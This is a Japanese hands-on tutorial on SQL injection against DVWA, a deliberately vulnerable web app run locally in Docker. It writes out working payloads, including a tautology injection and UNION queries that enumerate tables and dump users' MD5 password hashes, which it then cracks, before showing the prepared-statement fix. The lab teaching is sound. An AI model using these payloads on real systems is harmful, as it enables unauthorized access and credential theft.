不正な目的で実行すると不正アクセス禁止法をはじめとする法律抵触する可能性があるものが含まれます。
絶対に、 他人のサーバーやサービスで試すことはしないでください 。
🎁 今回使う題材
- Damn Vulnerable Web Application(DVWA) は、その名の通り脆弱性が含まれるWebアプリケーションです。これに攻撃することで、脆弱性がどういうものか体感することができます。PHPのソースコードを見ることができるため、どのようにして脆弱性が生まれているのか見ることができたり、どのような対策を取ればいいのかを理解したりすることができます。
💫演習準備
-
🚫
Post not found
で準備したコンテナを起動し、ブラウザで
http://localhost/
にアクセスすると、以下のようなログイン画面が表示されます。
Usernameにadmin、Passwordにpasswordを入力してLoginをクリックしてください。
-
初回ログイン時は、Database Setupの画面が表示されます。
Create / Reset Databaseをクリックし、データベースを初期化しましょう。
- 画面下部にSetup successfulと表示されれば成功です。
- 再度ログイン画面が表示されるので、もう一度、Usernameにadmin、Passwordにpasswordを入力してLoginボタンをクリックすると以下のような画面が表示されます。
- 左のメニューからDVWA Securityをクリックすると以下のような画面が表示されます。セキュリティレベルを選ぶことができます。impossibleだと、全ての脆弱性に対して対策がとられており、Lowは全く対策がとられていない状態になります。ここではLowを選んでSubmitします。
SQLインジェクションとは?
Webアプリケーションでは、データベースに情報を蓄積したり取り出したりしています。このデータベースの操作を行う際に使う言語がSQLです。
簡単にいうとSQLを使ってデータベースに問い合わせをかけると、データを保存したり、取り出したりすることができます。詳しくはデータベース回でSQLについて解説しますので、ここでは詳しく立ち入りません。
SQLインジェクションとは、Webアプリケーションに実装されているSQL文を不正に書き換えることで、意図しない処理を走らせる攻撃をいいます。
SELECT文について
- データベースから情報を取得するSQL文がSELECTです。
-
基本的な文法は以下の通りです。
SELECT [取得したい要素] FROM テーブルの名前 WHERE 条件;
-
テーブルは以下の構成になっています。
👀どういうWebアプリケーションか見てみる
- どのようなアプリケーションを使うか見てみましょう。左のメニューからSQL Injectionをクリックすると、User IDを入力するテキストボックスとSubmitというボタンが出てきます。
- 試しにUser IDに1を入力してSubmitしてみると、IDが1のユーザーのFirst nameがadmin, Surnameがadminだということがわかりました。
- 続けて2を入力してSubmitしてみると、IDが2のユーザーのFirst nameはGordon、SurnameはBrownだということがわかります。
-
1-3の結果、IDを入力しSubmitすることで、指定したユーザーのFirst nameとSur nameが表示されるシンプルなアプリケーションだということがわかります。存在するユーザーのIDは1から5です。
IDが3のユーザーのFirst nameとSurnameを調べてみましょう。IDが4のユーザーのFirst nameとSurnameを調べてみましょう。IDが5のユーザーのFirst nameとSurnameを調べてみましょう。IDが999のユーザーのFirst nameとSurnameを調べてみましょう。
⚔️SQLインジェクションをしてみよう
-
User IDに以下のような入力を入れてみましょう。想定としては、
1' OR 'a'='a
というIDを持つユーザーが取り出されるはずです。
1' OR 'a'='a
結果
1' OR 'a'='aというIDを持つユーザーが表示されるはずなのに、情報が全部出てきてしまった!
何故こうなったのか?
画面下部のView Sourceをクリックしてみましょう。すると以下のようにphpのソースコードを表示することができます。
表示されるソースコード
<?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>
このWebアプリケーションでは以下のようなSELECT文が実行されています。$idにテキストボックスに入力した値がそのまま入ります。
SELECT first_name, last_name FROM users WHERE user_id = '$id';
WHERE句に注目してみましょう。WHEREは条件文で、user_idが$idのものだけ取り出すという意味になります。
WHERE user_id = '$id'
今回は1' OR 'a'='aを入力したので、$idは1' OR 'a'='aに置き換わります。$idを置き換えると以下の通りになります。
SELECT first_name, last_name FROM users WHERE user_id = '1' OR 'a' = 'a'
すると条件は「ユーザーIDが1に一致する」か「’a’と’a’が同じ」に合致するものを取り出してくださいということになります。しかし「’a’と’a’が同じ」は常に成り立ってしまうので、user_id = '1'は無視され、ユーザーIDに関わらず全てのデータを取り出すことになってしまいます。これでは、開発者の意図したSQL文になりません。SQL文の一部に文字列を注入して、意図しないSQL文を実行させる攻撃がSQLインジェクションです。
演習
' union select version(),null #
結果
First nameにDBとバージョン名が表示された
ID: ' union select version(),null #
First name: 10.1.26-MariaDB-0+deb9u1
Surname:
' union select @@hostname,database() #
結果
First nameにホスト名(コンテナID)、Surnameにデータベース名が表示された
ID: ' union select @@hostname,database() #
First name: b37ff8c4bb04
Surname: dvwa
' union select user(), 'A' #
結果
First nameにappというユーザーで入っていることがわかった。
ID: ' union select user(), 'A' #
First name: app@localhost
Surname: A
🔒ハッシュ化されたパスワードを抜き取る
🏓どういうテーブルがあるか調べる
-
User IDに以下の文字列を入力して、テーブルを調べてみます。
' union select table_name,table_schema from information_schema.tables where table_schema = 'dvwa' #
-
以下のように2つのテーブル(guestbook, users)が表示されました。
ID: ' union select table_name,table_schema from information_schema.tables where table_schema = 'dvwa' # First name: guestbook Surname: dvwa ID: ' union select table_name,table_schema from information_schema.tables where table_schema = 'dvwa' # First name: users Surname: dvwa
-
usersテーブルにユーザー情報が入っていると推測されるので、userテーブルのカラム名も参照してみましょう。
' union select table_name,column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' #
-
以下のようにカラムが表示されました。カラムにはuser_id, first_name, last_name, user, password, avatar, last_login, failed_loginが存在します。
ID: ' union select table_name,column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' # First name: users Surname: user_id ID: ' union select table_name,column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' # First name: users Surname: first_name ID: ' union select table_name,column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' # First name: users Surname: last_name ID: ' union select table_name,column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' # First name: users Surname: user ID: ' union select table_name,column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' # First name: users Surname: password ID: ' union select table_name,column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' # First name: users Surname: avatar ID: ' union select table_name,column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' # First name: users Surname: last_login ID: ' union select table_name,column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' # First name: users Surname: failed_login
🔑パスワードを出力する
-
userテーブルのカラムのうち、userとpasswordを指定して、どのユーザーのパスワードかわかりやすく表示してみましょう。
' union select user,password from dvwa.users #
-
出力結果は以下のようになります。この結果からpasswordに格納されたデータはパスワードのmd5ハッシュ値と推測できます。基本的にWebアプリケーションではデータベースに直接パスワードを保存することはなく、元々のパスワードの値がわからないようにハッシュ化して保存しています。
ID: ' union select user,password from dvwa.users # First name: admin Surname: 5f4dcc3b5aa765d61d8327deb882cf99 ID: ' union select user,password from dvwa.users # First name: gordonb Surname: e99a18c428cb38d5f260853678922e03 ID: ' union select user,password from dvwa.users # First name: 1337 Surname: 8d3533d75ae2c3966d7e0d4fcc69216b ID: ' union select user,password from dvwa.users # First name: pablo Surname: 0d107d09f5bbe40cade3de5c71e9e9b7 ID: ' union select user,password from dvwa.users # First name: smithy Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ユーザー md5ハッシュ化されたパスワード admin 5f4dcc3b5aa765d61d8327deb882cf99 gordonb e99a18c428cb38d5f260853678922e03 1337 8d3533d75ae2c3966d7e0d4fcc69216b pablo 0d107d09f5bbe40cade3de5c71e9e9b7 smithy 5f4dcc3b5aa765d61d8327deb882cf99
🤺パスワード解析
- パスワードクラッカーで解析することもありますが、今回は簡易にハッシュ値から元の入力値を調べるWebサービスを使用します。このようなWebサービスはいくつかありますが、今回は以下を使用します。
- 今回はadmin(管理者)のハッシュ化されたパスワード(5f4dcc3b5aa765d61d8327deb882cf99)を戻してみます。結果は以下のようにadminのパスワードは「password」ということがわかりました。
やってみましょう
ユーザー | md5ハッシュ化されたパスワード |
admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
gordonb | e99a18c428cb38d5f260853678922e03 |
1337 | 8d3533d75ae2c3966d7e0d4fcc69216b |
pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 |
smithy | 5f4dcc3b5aa765d61d8327deb882cf99 |
e99a18c428cb38d5f260853678922e03
答え
abc123
8d3533d75ae2c3966d7e0d4fcc69216b
答え
charley
0d107d09f5bbe40cade3de5c71e9e9b7
答え
letmein
5f4dcc3b5aa765d61d8327deb882cf99
💂 SQLインジェクションに対する対策例
- 左メニューからDVWA SecurityでImpossibleを選び、Submitします。これで脆弱性に対して対策がとられている状態になります。
- 再び、左メニューからSQL Injectionを選び、これまでのSQLインジェクションが効くかどうか試してみましょう。
🤔どうして今までの攻撃が効かなくなったのか?
- どうして効かなくなったのでしょうか?画面下部のView Sourceでコードを見てみると以下のような実装になっています。
Impossibleの時のソースコード
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Lowの時のソースコード
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
抜粋すると以下のようにコードが変わっています。
-
以下のようにプレースホルダーで変数を埋め込んでいます。
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
-
「安全なウェブサイトの作り方」で1番目に紹介されている手法です。
SQLには通常、プレースホルダを用いてSQL文を組み立てる仕組みがあります。SQL文の雛形の中に変数の場所を示す記号(プレースホルダ)を置いて、後に、そこに実際の値を機械的な処理で割り当てるものです。ウェブアプリケーションで直接、文字列連結処理によってSQL文を組み立てる方法に比べて、プレースホルダでは、機械的な処理でSQL文が組み立てられるので、SQLインジェクションの脆弱性を解消できます。
-
「安全なウェブサイトの作り方」で1番目に紹介されている手法です。
-
他にも、IDが数値かどうかバリデーションをかけるのも有効です。
if(is_numeric( $id ))
🧹お片付け
-
以下のコマンドでコンテナIDを調べてください。
docker ps --filter ancestor="vulnerables/web-dvwa"
-
以下のコマンドでコンテナを止めましょう。
docker stop (コンテナID)